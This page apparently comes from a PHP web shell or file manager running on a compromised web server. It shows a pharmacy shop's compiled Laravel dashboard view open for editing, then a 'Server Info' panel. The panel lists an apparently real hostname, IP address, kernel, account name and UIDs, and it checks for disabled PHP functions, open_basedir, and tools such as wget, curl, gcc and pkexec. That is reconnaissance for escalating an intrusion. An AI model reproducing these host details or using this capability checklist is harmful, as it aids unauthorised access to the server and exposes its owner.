''.e($total_transactions).'','icon' => 'fa fa-money-bill']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('stats-card'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Total Transactions','value' => ''.e($total_transactions).'','icon' => 'fa fa-money-bill']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $attributes = $__attributesOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__attributesOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> <?php if (isset($__componentOriginal8f216e051c231b98198765acd723fb77)): ?> <?php $component = $__componentOriginal8f216e051c231b98198765acd723fb77; ?> <?php unset($__componentOriginal8f216e051c231b98198765acd723fb77); ?> <?php endif; ?> </div> <div id="stockmodal" class="modal fade show" role="dialog" style="padding-right: 15px; display: none;" aria-modal="true"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header d-flex justify-content-between"> <h4 class="modal-title"><?php echo e(translate('common.expired_medicine')); ?></h4> <button type="button" class="close btn btn-sm btn-light" data-bs-dismiss="modal">×</button> </div> <div class="modal-body"> <table id="" class="table table-bordered table-striped table-hover"> <thead> <tr> <th class="text-center"><?php echo e(translate('common.name')); ?></th> <th class="text-center"><?php echo e(translate('common.batch')); ?></th> <th class="text-center"><?php echo e(translate('common.Expired on')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $expire_medicines; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $batch): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td> <?php $medicine = \App\Models\Medicine::where('id', $batch->medicine_id)->first(); ?> <?php if($medicine != null): ?> <?php echo e($medicine->name); ?> <?php endif; ?> </td> <td><?php echo e($batch->name); ?></td> <td><?php echo e($batch->expire); ?></td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> <div> <h4> <center><?php echo e(translate('common.stock_out')); ?></center> </h4> </div> <table id="" class="table table-bordered table-striped table-hover"> <thead> <tr> <th class="text-center"><?php echo e(translate('common.name')); ?></th> <th class="text-center"><?php echo e(translate('Qauntity')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $stockout_medicines; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $medicine): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td class="text-center"> <?php echo e($medicine->name); ?> </td> <td class="text-center"> <?php echo e($medicine->total_quantity); ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> <div class="modal-footer"> <input type="hidden" name="is_modal_shown" id="is_modal_shown"> <button type="button" class="btn btn-default" data-bs-dismiss="modal">Close</button> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('custom-js'); ?> <script type="text/javascript"> $(document).ready(function () { $('#stockmodal').modal('show'); }); </script> <script src="<?php echo e(asset('dashboard/app-assets/morris-chart/popper.min.js')); ?>"></script> <script src="<?php echo e(asset('dashboard/app-assets/morris-chart//raphael-min.js')); ?>"></script> <script src="<?php echo e(asset('dashboard/app-assets/morris-chart/morris.min.js')); ?>"></script> <script src="https://cdn.jsdelivr.net/npm/apexcharts"></script> <?php $dfrom = date('Y-m-d', strtotime('-7 day', time())); $dto = date('Y-m-d'); $datelist = list_days($dfrom, $dto); $i = 0; $data = []; ?> <?php $__currentLoopData = $datelist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $date): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $data[$i]['y'] = $date; $data[$i]['a'] = \App\Models\Invoice::where('shop_id', Auth::user()->shop_id) ->where('date', $date) ->count(); $data[$i]['b'] = \App\Models\Purchase::where('shop_id', Auth::user()->shop_id) ->where('date', $date) ->count(); $i++; ?> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <script> Morris.Line({ element: 'line-example', data: <?php echo json_encode($data) ?>, xkey: 'y', labelColor: '#000000', ykeys: ['a', 'b'], labels: ['Sales', 'Purchase'] }); </script> <?php $sales = \App\Models\Invoice::sum('total_price'); $purchase = \App\Models\Purchase::sum('total_price'); ?> <script> var options = { series: [<?php echo e($purchase); ?>, <?php echo e($sales); ?>], chart: { width: 380, type: 'pie', }, colors: ['#0088ff', '#f8bf15'], labels: ['Purchase', 'Sales'], legend: { position: 'bottom', show: true, showForSingleSeries: false, showForNullSeries: true, showForZeroSeries: true, }, }; var chart = new ApexCharts(document.querySelector("#piChart"), options); chart.render(); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.backend', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/eliosofonline/pham.eliosof.com/resources/views/dashboard.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002